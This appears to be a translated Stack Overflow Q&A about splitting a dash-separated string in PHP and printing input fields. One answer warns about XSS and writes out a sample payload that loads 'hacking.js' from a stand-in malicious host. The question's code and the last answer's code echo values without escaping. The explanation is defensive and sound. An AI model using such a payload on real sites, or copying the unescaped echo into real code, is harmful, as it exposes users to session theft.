1

データベースから取得した文字列があります。各値は「-」で区切られています。たとえば、abc. 私のデータベースには、値の数を示すフィールドもあります。この場合は 3 です。文字列の値ごとにテキストファイルを作成する必要があるため、次のようなことを考えていました。

$numberOfValues=db=>n;
$string=bb=>string;
$singleValue = explode("-", $string);
for($i=0;$i<$numberOfValues;$i++): {
echo ('input type="text" value="'.$singleValue[$i].'">');
}

私の質問は基本的に次のとおりです。これは私が探していることを効率的に行う方法ですか? それとも「より良い」方法がありますか?ありがとう!

4

3 に答える 3

2

foreach と有効な入力タグに関する言及に加えて、

  • これまでのように、HTML と PHP ロジックを混在させてはなりません。できれば、HTML を別々のテンプレートに入れます。
  • 明示的に別段の意図がない限り、HTML 内でプッシュする値に対して常に HTML エスケープが発生していることを確認してください。これにより、文字"'、が適切にエスケープされ<>XSS ホールが残らないようになります。

XSS では、コードの例:

echo ('input type="text" value="'.$singleValue[$i].'">');

ここで、ユーザーが のコンテンツに影響を与えることができると仮定すると、次の$singleValue[$i]ようなコンテンツをそこにプッシュできます。"><script src="http://malicioussite.com/hacking.js"></script><span id="

結果のHTMLをページ上に作成します

input type="text" value=""><script src="http://malicioussite.com/hacking.js"></script><span id="">

これにより、エンド ユーザーのブラウザは「hacking.js」ファイルを強制的に実行し、たとえば、セッション情報を盗んで任意のドメインに送信することができます。htmlspecialchars()関数の目的である、既知の危険な文字をエスケープすることで、この種の脅威から最も簡単に保護できます。

于 2012-10-04T07:36:26.080 に答える
1
$values = explode('-', $string);

foreach ($values as $value) {
    printf('<input type="text" value="%s">', htmlspecialchars($value));
}
于 2012-10-04T07:37:14.880 に答える
0

大丈夫です。しかし、入力タグを開いたり閉じたりしてください:)

echo ('<input type="text" value="'.$singleValue[$i].'"/>');
于 2012-10-04T07:32:34.900 に答える